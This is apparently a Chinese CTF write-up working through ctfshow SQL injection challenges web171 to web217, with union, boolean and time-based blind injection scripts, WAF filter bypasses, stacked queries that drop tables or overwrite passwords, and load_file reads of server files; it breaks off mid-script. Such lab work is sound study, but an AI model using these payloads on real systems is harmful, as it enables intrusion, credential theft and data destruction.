未过滤注入

web171

可以用正常的联合注入,也可以用万能密码

1
2
1' or '1'='1'--+
1' || 1--+

联合注入

1
2
3
4
5
6
1' order by 4--+	
-1' union select 1,2,3--+
-1' union select 1,2,database()--+
-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user')--+
-1' union select 1,2,(select password from ctfshow_user where username = 'flag')--+

查询语句这里不会对我们的联合注入造成影响,只是正常的查询不会返回带flag的数据

web172

多了个返回逻辑

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

万能密码用不了,这里的话会对username为flag的数据进行过滤,正常打联合注入

1
2
3
4
-1' union select 1,2--+
-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user2')--+
-1' union select 1,(select password from ctfshow_user2 where username = 'flag')--+

这样可以打,不过如果是这样的话就不行了

1
-1' union select 1,(select username,password from ctfshow_user2 where username = 'flag')--+

因为查询的结果中有username为flag,上面的话是我们只是返回username为flag的password值,并不会碰到过滤,所以我们上面的语句才能查询到flag

web173

正常打联合注入

1
2
3
4
5
-1' union select 1,2,3--+
-1' union select 1,2,database()--+
-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user3')--+
-1' union select 1,2,(select password from ctfshow_user3 where username='flag')--+

这里的话刚好flag是ctfshow开头的,所以不会被过滤掉,如果我们的flag是flag开头的话需要绕过,例如username是flag,我们可以用编码函数去绕过(使用hex或者使用reverse、to_base64等函数加密)

1
-1' union select id,hex(username),password from ctfshow_user3 where username='flag'--+

web174

增加过滤了数字,打盲注就行

看看正确回显和错误回显

image-20250502125228340

image-20250502125237421

拿脚本跑吧,这次用二分法去跑,刚好学一下写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

url = "http://49bd2539-814b-433b-ac46-2cee1327b9df.challenge.ctf.show/api/v4.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) //2

#payload = f"1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+"
#payload = f"1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{i},1))>{mid},1,0)--+"
payload = f"1' and if(ascii(substr((select password from ctfshow_user4 where username='flag'),{i},1))>{mid},1,0)--+"
print(payload)
r = requests.get(url+"?id="+payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

web175

这下是完全没内容了,到打时间盲注了

1
1' and sleep(4)--+

成功延迟

image-20250502130617338

那就打时间盲注吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time

url = "http://7a2710eb-ee46-496f-bf62-839bb89fdee0.challenge.ctf.show/api/v5.php"

result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

#payload = f"?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(4),0)--+"
#payload = f"?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user5'),{i},1))>{mid},sleep(4),0)--+"
payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(4),0)--+"
print(payload)

start_time = time.time()
r = requests.get(url+payload)
request_time = time.time()-start_time

if request_time > 4 :
print(f"成功延迟,ascii>{mid}")
head = mid + 1
else:
print(f"未延迟,ascii<={mid}")
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
print(result)

过滤注入

web176

万能密码可以做

fuzz一下发现过滤了select

image-20250502133426113

在mysql中对大小写是不敏感的,只要waf没有对大小写限制就可以用大写去绕过

1
2
3
4
-1' union Select 1,2,3--+
-1' union Select 1,2,(Select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-1' union Select 1,2,(Select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user')--+
-1' union Select 1,2,password from ctfshow_user where username='flag'--+

web177

fuzz一下,过滤了空格和注释符--+

1
1'/**/or/**/'1'='1'%23

web178

这次过滤了*,换编码去绕过就行

%09绕过空格

1
1'%09or%09'1'='1'%23

web179

%09被过滤了,%0c绕过空格

1
1'%0cor%0c'1'='1'%23

web180

刚好看到一个fuzz单个字符的脚本,尝试着写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re

url="http://5855f9fc-5b45-4d37-9ec0-4785fc6143c3.challenge.ctf.show/api"
target = re.compile("admin")

right_chr = []
waf_chr = []

for i in range(32,127):
char = chr(i)
payload = f"?id=1'and'{char}'='{char}"

r = requests.get(url+payload)
w = target.search(r.text)
if w is not None:
right_chr.append((i,char))
else:
waf_chr.append((i,char))

print("未被过滤的字符: ",right_chr)
print("\n")
print("waf: ",waf_chr)

fuzz的结果

1
2
3
未被过滤的字符:  [(33, '!'), (34, '"'), (36, '$'), (37, '%'), (40, '('), (41, ')'), (44, ','), (45, '-'), (46, '.'), (47, '/'), (48, '0'), (49, '1'), (50, '2'), (51, '3'), (52, '4'), (53, '5'), (54, '6'), (55, '7'), (56, '8'), (57, '9'), (58, ':'), (59, ';'), (60, '<'), (61, '='), (62, '>'), (63, '?'), (64, '@'), (65, 'A'), (66, 'B'), (67, 'C'), (68, 'D'), (69, 'E'), (70, 'F'), (71, 'G'), (72, 'H'), (73, 'I'), (74, 'J'), (75, 'K'), (76, 'L'), (77, 'M'), (78, 'N'), (79, 'O'), (80, 'P'), (81, 'Q'), (82, 'R'), (83, 'S'), (84, 'T'), (85, 'U'), (86, 'V'), (87, 'W'), (88, 'X'), (89, 'Y'), (90, 'Z'), (91, '['), (93, ']'), (94, '^'), (95, '_'), (96, '`'), (97, 'a'), (98, 'b'), (99, 'c'), (100, 'd'), (101, 'e'), (102, 'f'), (103, 'g'), (104, 'h'), (105, 'i'), (106, 'j'), (107, 'k'), (108, 'l'), (109, 'm'), (110, 'n'), (111, 'o'), (112, 'p'), (113, 'q'), (114, 'r'), (115, 's'), (116, 't'), (117, 'u'), (118, 'v'), (119, 'w'), (120, 'x'), (121, 'y'), (122, 'z'), (123, '{'), (124, '|'), (125, '}'), (126, '~')]

waf: [(32, ' '), (35, '#'), (38, '&'), (39, "'"), (42, '*'), (43, '+'), (92, '\\')]

这里的话还是过滤了空格的,并且也过滤了注释符号%23,试着去闭合单引号就行

1
2
3
4
5
-1'%0cunion%0cselect%0c'1','2','3
-1'%0cunion%0cselect%0c'1',database(),'3
-1'%0cunion%0cselect%0c'1',(select%0cgroup_concat(table_name)from%0cinformation_schema.tables%0cwhere%0ctable_schema=database()),'3
-1'%0cunion%0cselect%0c'1',(select%0cgroup_concat(column_name)from%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'),'3
-1'%0cunion%0cselect%0c'1',(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

这道题一开始还用limit语句限制了返回的内容,后面把1换成-1才看到回显

web181

#运算符优先级

这次waf给出来了

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

完全过滤了空格的绕过方法和select关键字,然后可以用万能密码的一个变式去做

1
-1'||username='flag

这里比较复杂,稍微写的详细一点,这个payload是为什么呢?

我们插入到查询语句中

1
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '-1'||username='flag' limit 1;";

然后我们看一下mysql运算符的优先级

image-20250502143641687

在查询语句中,因为AND的优先级高于OR,所以WHERE的表达式可以拆分为

1
(username != 'flag' AND id = '-1') || (username = 'flag')

username != 'flag' AND id = '-1' 会被优先计算,然后与 username = 'flag' 进行 OR 运算。

  • 如果 username = 'flag' 为真,则整个条件为真,无论 username != 'flag' AND id = -1 是否为真。
  • 因此,如果表中存在 username='flag' 的数据,这条查询一定会返回该数据。

web182

这次多过滤了个flag,不过可以用like模糊匹配绕过

1
-1'||(username)like'fla_`或者是`-1'||(username)like'fla%

关于like中的通配符

% 匹配零个或多个任意字符 'a%' 匹配所有以a开头的字符串
_ 匹配单个任意字符 'a_' 匹配所有以a开头的两个字符长度的字符串

这里的话在学习MySQL的时候也学到过

web183

查询语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

增加过滤了=orand等字符

这里的话出现了一个查询结果

1
2
//返回用户表的记录总数
$user_count = 0;

可以用like模糊匹配去做

1
$sql = "select count(pass) from (ctfshow_user)where(pass)like'ctfshow{%';";

返回$user_count = 1;

如果没匹配上的话就返回0,这样就可以写脚本去盲注了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://5d62f6db-f813-4b1e-a2be-b100259ff40d.challenge.ctf.show/select-waf.php"

string = "1234567890abcdefghijklmnopqrstuvwxyz-}"

flag = "ctfshow{"
for i in range(100):
for j in string:
payload = f"(ctfshow_user)where(pass)like'{flag+j}%'"
data = {
"tableName" : payload
}
r = requests.post(url, data=data)
if "$user_count = 1;" in r.text:
flag +=j
print(flag)
break
if j == "}":
exit()

web184

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

这道题把时间盲注的两个常用函数禁用了,我还想着上一题是不是可以用时间盲注去打来着但是没打出来

这里还禁用了where语句和一些逻辑运算符例如&&||,上面的方法不能用了,可以打左右连接

ctfshow_user表一共有22行数据

写个payload

1
tableName=ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char(99),char(116),char(42)))

这里的话将ctfshow_user表设为两个表,并通过on后面的条件连接起来,此时满足on连接条件的话会返回,为什么呢?

我们先在本地测试一下

3ceb4d92bafbc3517de1403e654c983

可以看到当on的条件不一样的时候返回的结果也不一样

a.username = "man" 左表 左表(a)的 username 必须等于 "man",才会尝试匹配右表(b)的所有行。
b.username = "man" 右表 右表(b)的 username 必须等于 "man",才会被左表(a)的行匹配。

所以回到刚刚的payload

1
tableName=ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char(99),char(116),char(42)))

这里的话会用a表中符合regexp的pass行去匹配b表,a表所有的数据去掉连接条件的那行就是22行,然后连接条件的那行会和右表的所有内容进行连接,所以最后的结果就是21+22=43行

那么我们用regexp去进行匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://e09f8d14-24eb-4d77-8dff-7d150969e103.challenge.ctf.show/select-waf.php"

flag = "ctfshow{"
for i in range(9,50):
for j in range(32,127):
payload = f"ctfshow_user as a left join ctfshow_user as b on (substr(a.pass,{i},1)regexp(char({j})))"
data = {
"tableName" : payload,
}
print(data)
r = requests.post(url, data=data)
if "$user_count = 43;" in r.text:
if chr(j) != ".":
flag += chr(j)
print(flag)
break
if chr(j) == "}":
exit()

这里的话需要注意要排除小数点,因为小数点在regexp的正则里小数点能匹配除 “\n” 之外的任何单个字符

其实这道题还能用group by 结合having去打通配

where也过滤了,用having代替,引号被过滤了,那么字符串部分可以采用16进制绕过

1
select count(*) from ctfshow_user group by pass having pass like 0x63746673686f777b25;

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

import requests

url = "http://e09f8d14-24eb-4d77-8dff-7d150969e103.challenge.ctf.show/select-waf.php"

letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
#将输入的字符转化成十六进制
#通过迭代字符串 s 中的每个字符,用 ord() 获得其 ASCII 值,然后用 hex() 转换为十六进制,并去除前缀 0x,最后拼接成一个连续的字符串。
flag = "ctfshow{"
for i in range(0,100):
for j in letter:
temp_flag = flag+j
data ={
"tableName":"ctfshow_user group by pass having pass like ({})".format("0x"+asc2hex(temp_flag+"%"))
}
#print(data["tableName"])

r = requests.post(url=url,data=data)
if "$user_count = 1;" in r.text:
flag += j
print(flag)
break
else:
continue

因为这里匹配出来的结果只会有一行,所以筛选条件就是$user_count = 1

web185

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

这道题多过滤了数字,这时候怎么去构造呢?

这里的话需要用true去构造字符

true=1,false=0,然后true+true=2,用true的自增和相加可以构造字符

例如c的十六进制是0x63,十进制是90

0x63 我们可以写成 false,‘x’,true+true+true+true+true+true,true+true+true然后用concat去连接

1
concat(false,‘x’,(true+true+true+true+true+true),(true+true+true))

但是这里过滤了单引号,得去构造x,还是一样的,用十六进制或者十进制去构造

x 的十进制为120,所以我们添加120个true相加就可以了,但是我们也可以把120拆分为1,2,0,然后构造true、true+true、false

所以最后c的构造就是

1
concat(false,char(concat(true,(true+true),false)),(true+true+true+true+true+true),(true+true+true)

但是发现其实跑不出来,为什么,因为c的十六进制0x63为字符串,mysql只支持十六进制的数字,不支持字符串

所以换成十进制去构造

1
concat((power((true+true+true),(true+true))),(power((true+true+true),(true+true))))

所以我们构造payload

1
tableName=ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true+true),(true+true))),(power((true+true+true),(true+true))))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true)))))

解释后的payload

1
tableName=ctfshow_user group by pass having pass regexp(ctf)

结果返回

image-20250504125105121

意味着匹配成功了,我们直接写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = "http://e583b83c-af4c-444c-8de2-acd5f5af2b6d.challenge.ctf.show/select-waf.php"

strlist = '{0123456789-abcdefghijklmnopqrstuvwxyz_}'

flag = 'ctfshow'
flagstr = ''
strdict = {'0':'false,','1':'true,','2':'(true+true),',
'3':'(true+true+true),','4':'(true+true+true+true),',
'5':'(true+true+true+true+true),','6':'(true+true+true+true+true+true),',
'7':'(power((true+true),(true+true+true))-true),',
'8':'(power((true+true),(true+true+true))),',
'9':'(power((true+true),(true+true+true))+true),'
}
for i in range(100):
for j in strlist:
m = ''
for x in str(ord(j)):
m += strdict[x]
m = 'char(concat('+m[:-1]+')),'#去除末尾的分号

payload = f'ctfshow_user group by pass having pass regexp(concat({flagstr+m[:-1]}))'
data = {
'tableName' : payload,
}
print(payload)
r = requests.post(url=url,data=data)
if '$user_count = 1;' in r.text:
print(f'---------------匹配成功---------------')
flag += j
flagstr += m
print(flag)
break
if flag[-1] == '}':
exit()

我的脚本相对来说更复杂一点,包师傅的脚本就相对来说要简单很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import string
import requests

url = 'http://50a0761d-8695-48df-bfe5-9410e5169332.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
target = 'ctfshow{'


def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num


def createStrNum(c):
str = ''
str += 'chr(' + createNum(ord(c[0])) + ')'
for i in c[1:]:
str += ',chr(' + createNum(ord(i)) + ')'
return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
for j in uuid:
poc = payload.format(createStrNum(target + j + "%"))
# print(poc)
data = {
'tableName': poc
}
r = requests.post(url, data)
if "$user_count = 0;" not in r.text:
target += j
print(target)
if j == '}':
exit()
break

web186

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

多过滤了百分号,大小于号和^字符,但是不影响我们的payload

web187

#sql的md5

需要传username为admin,然后password的话会md5加密,这里的话用md5去碰撞就行

image-20250504132900480

1
admin/ffifdyop

flag在响应里

web188

#sql弱比较

image-20250504133225788

username=0 password=0

在官方手册中,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。

sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==0a,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。

然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。

web189

flag在api/index.php文件中

去读取那个index.php文件,且注入点在username

username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误)
username=1、password=0时,返回“查询失败”。(说明用户不存在)

回显不一样的话打盲注就行

1
if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{j}',1,0)

利用0和1的不同回显去打盲注,写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://ca1b1a1d-3cf1-4efa-9a37-8ca521e4d226.challenge.ctf.show/api/"


flag = ""
for i in range(257,500):#这是flag在文件中的起始位置
for j in range(127):
x = chr(j)
payload = f"if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{x}',1,0)"
data = {
"username" : payload,
"password" : 0
}
print(payload)
r = requests.post(url, data=data)
if "8d25" in r.text:
print(f"----------{x} is right----------")
flag += chr(j)
print(flag)
break
if "}" in flag:
print(flag)
exit()

布尔盲注

web190

字符型的盲注

1
2
3
4
5
admin/0 密码错误
1/0 用户名不存在

admin' and 1#/0密码错误
admin' and 0#/0用户名不存在

直接写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url = "http://50b3216b-0be6-449d-9f3a-0ce96856ca85.challenge.ctf.show/api/"

test = ""
i = 0

while True:
i = i +1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

payload = f"admin' and if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))>{mid},1,0)#"
data = {
"username": payload,
"password": 0,
}
print(data)
r = requests.post(url, data=data)
if "u8bef" in r.text:
head = mid + 1
else :
tail = mid
if head != 32 :
test += chr(head)
print(test)
else :
break
print(test)

web191

禁用了ascii,可以用ord绕过,这里数据库都没变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url = "http://d4303d22-ec75-4911-8e63-4c300d980ac6.challenge.ctf.show/api/"
i = 0

flag = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2
#payload = f"admin' and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
#payload = f"admin' and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))>{mid},1,0)#"
payload = f"admin' and if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))>{mid},1,0)#"

data = {
"username" : payload,
"password" : 0,
}
print(data)
r = requests.post(url, data=data)
if "u8bef" in r.text:
head = mid + 1
else :
tail = mid
if head != 32:
flag += chr(head)
print(flag)
else :
break
print(flag)

web192

过滤掉了,但是也可以不用转码函数去做

在 SQL 查询中,字符串比较默认是 不区分大小写 的。所以这里好像需要转小写

因为是二分法,_的ascii字符是95,很容易被跳过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = "http://b3cfa897-d763-4f0e-81e8-323a934700e7.challenge.ctf.show/api/"
i = 0

flag = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

#payload = f"admin' and if(substr(database(),{i},1)>chr({mid}),1,0)#"
#payload = f"admin' and if(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1)>chr({mid}),1,0)#"
#payload = f"admin' and if(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1)>chr({mid}),1,0)#"
payload = f"admin' and if(substr((select f1ag from ctfshow_fl0g),{i},1)>chr({mid}),1,0)#"
data = {
"username" : payload,
"password" : 0,
}
print(data)
r = requests.post(url, data=data)
if "u8bef" in r.text:
head = mid + 1
else :
tail = mid
if head != 32:
flag += chr(head)
print(flag)
else :
break
print(flag.lower())

可以使用 BINARY 关键字强制区分大小写或者手动改一下

如果硬要识别出来就要写遍历了,但是那样子不够快

web193&194

这里过滤了substr,也是有代替函数的,当然也可以用like和通配符去匹配

like+通配符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = "http://cf1fb41b-240d-4778-8ae7-c9442519fb32.challenge.ctf.show/api/"

dict = "abcdefghijklmnopqrstuvwxyz0123456789-,{}_"
flag = ""

for i in range(1,50):
sign = 0
for j in dict:
#payload = "admin' and (select database()) like '{}'#".format(flag+j+'%')
#payload = "admin' and (select group_concat(table_name)from information_schema.tables where table_schema=database()) like '{}'#".format(flag+j+'%')
#payload = "admin' and (select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flxg') like '{}'#".format(flag+j+'%')
payload = "admin' and (select f1ag from ctfshow_flxg) like '{}'#".format(flag+j+'%')
data = {
"username": payload,
"password": 0,
}
print(payload)
r = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag += j
sign = 1
print(flag)
break
if sign == 0:
break
print(flag)

替换函数mid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url = "http://cf1fb41b-240d-4778-8ae7-c9442519fb32.challenge.ctf.show/api/"

dict = "abcdefghijklmnopqrstuvwxyz0123456789-,{}_"
flag = ""

for i in range(1,50):
sign = 0
for j in dict:
payload = f"admin' and if(mid(database(),{i},1)='{j}',1,0)#"
#其他的payload就自己改吧
data = {
"username": payload,
"password": 0,
}
print(payload)
r = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag += j
sign = 1
print(flag)
break
if sign == 0:
break
print(flag)

替换函数left

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://efe36a06-d5e8-4069-a729-598ea9a984e8.challenge.ctf.show/api/"

dict = "abcdefghijklmnopqrstuvwxyz0123456789-,{}_"
flag = ""

for i in range(1,50):
sign = 0
for j in dict:
payload = "admin' and if(left(database(),{0})='{1}',1,0)#".format(i,flag+j)
data = {
"username": payload,
"password": 0,
}
print(payload)
r = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
flag += j
sign = 1
print(flag)
break
if sign == 0:
break
print(flag)

方法还是很多的

堆叠注入

web195

还是得登录成功才有flag

直接分号执行多条语句,更新ctfshow_user用户的密码

1
0;update`ctfshow_user`set`pass`=1

web196

这里限制了username的长度,刚刚的payload肯定是超过了

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。

非预期:

判断条件满足的设定是$row[0]==$password,row 存储的是结果集中的一行数据,row[0]就是这一行的第一个数据。既然可以堆叠注

入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(1),password为1。执行 SELECT(1); 后,数据库会返回一个结果集,其中包含一行一列,值为 1。当row 获取到第二个查询语句 select(1) 的结果集时,即可获得row[0]=1,那么password输入1就可以满足条件判断。同样输入其他密码也可以

image-20250504161903240

官方解:

1
2
username=0(用弱比较去匹配用户名)
password=passwordAUTO(之前泄露的原始密码)

web197

过滤了select,但是没有长度限制,那我们可以对表进行一些操作

1
2
username=0;drop table ctfshow_user; create table ctfshow_user(`username` varchar(255),`pass` varchar(255)); insert ctfshow_user(`username`,`pass`) values(1,2)
password随便填,不影响

这里直接删掉之前的表去创建新的表,然后插入数据就行

或者可以用alter

1
0;alter table ctfshow_user drop pass;alter table ctfshow_user add pass int default 1

web198

不能用drop,create,set的话,直接插入数据就行

1
2
username=0;insert ctfshow_user(`username`,`pass`) value(1,2)
password随便设置

然后传1/2去登录就行

web199&200

过滤了括号,前面的方法走不通

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

1
2
username=0;show tables
password=ctfshow_user

这么看来的话好像前面几个题都可以这么做

不太想做sqlmap的,先不写

时间盲注

web214

没找到参数,我记得之前有一个工具是可以探测参数的

Arjun

也可以在index下的select.js中看到参数

image-20250504175219845

1
ip=1&debug=1

这里debug得设为1才能出现回显

image-20250504175356220

ip是查询语句中的参数,看一下延迟时间

1
ip=1 or sleep(2)#&debug=1

大概两秒左右,那其实是差不多,写脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

url = "http://03356e28-c215-4129-97db-2f9864c35ca2.challenge.ctf.show/api/"
i = 0
flag = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail :
mid = (head + tail) // 2
#payload = "if(ascii(substr(database(),{0},1))>{1},sleep(4),0)#".format(i,mid)
#payload = "if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{0},1))>{1},sleep(4),1)#".format(i,mid)
#payload = "if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagx'),{0},1))>{1},sleep(4),1)#".format(i, mid)
payload = "if(ascii(substr((select flaga from ctfshow_flagx),{0},1))>{1},sleep(4),1)#".format(i, mid)
data = {
"ip" : payload,
"debug" : 1,
}
print(data)
start_time = time.time()
r = requests.post(url, data=data)
request_time = time.time() - start_time

if request_time > 3:
head = mid + 1
else :
tail = mid
if head != 32 :
flag += chr(head)
print(flag)
else :
break
print(flag)

web215

这次是字符型,用了单引号,去闭合就行了

1
ip=1' or sleep(2)#&debug=1

然后写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

url = "http://9a7beb5f-6196-4c37-ae56-b0bf74a95924.challenge.ctf.show/api/"
i = 0
flag = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

#payload = f"' or if(ascii(substr(database(),{i},1))>{mid},sleep(3),0)#"
#payload = f"' or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(3),0)#"
#payload = f"' or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxc'),{i},1))>{mid},sleep(3),0)#"
payload = f"' or if(ascii(substr((select flagaa from ctfshow_flagxc),{i},1))>{mid},sleep(3),0)#"
data = {
"ip" : payload,
"debug" : 1
}
start_time = time.time()
r = requests.post(url, data=data)
end_time = time.time() - start_time

if end_time > 2.5:
head = mid + 1
else :
tail = mid
if head != 32:
flag += chr(head)
print(flag)
else :
break
print(flag)

web216

1
select id from ctfshow_info where ip = from_base64(1);

还是一样,闭合就行了

1
ip=1) or sleep(3)#&debug=1

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

url = "http://c3d07a22-e8ee-4b69-9fe0-2b5900d6720e.challenge.ctf.show/api/"
i = 0
flag = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

#payload = f"1) or if(ascii(substr(database(),{i},1))>{mid},sleep(3),0)#"
#payload = f"1) or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(3),0)#"
#payload = f"1) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagxcc'),{i},1))>{mid},sleep(3),0)#"
payload = f"' or if(ascii(substr((select flagaac from ctfshow_flagxcc),{i},1))>{mid},sleep(3),0)#"
data = {
"ip" : payload,
"debug" : 1
}
start_time = time.time()
r = requests.post(url, data=data)
end_time = time.time() - start_time

if end_time > 2.5:
head = mid + 1
else :
tail = mid
if head != 32:
flag += chr(head)
print(flag)
else :
break
print(flag)

web217

过滤了sleep函数,可以用benchmark函数去绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time

url = "http://c9b5a9bb-df7d-4de0-9eed-7f5dff7b66d0.challenge.ctf.show/api/"
i = 0
flag = ""

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

#payload = f"1) or if(ascii(substr(database(),{i},1))>{mid},benchmark(1000000,md5('1')),0)#"
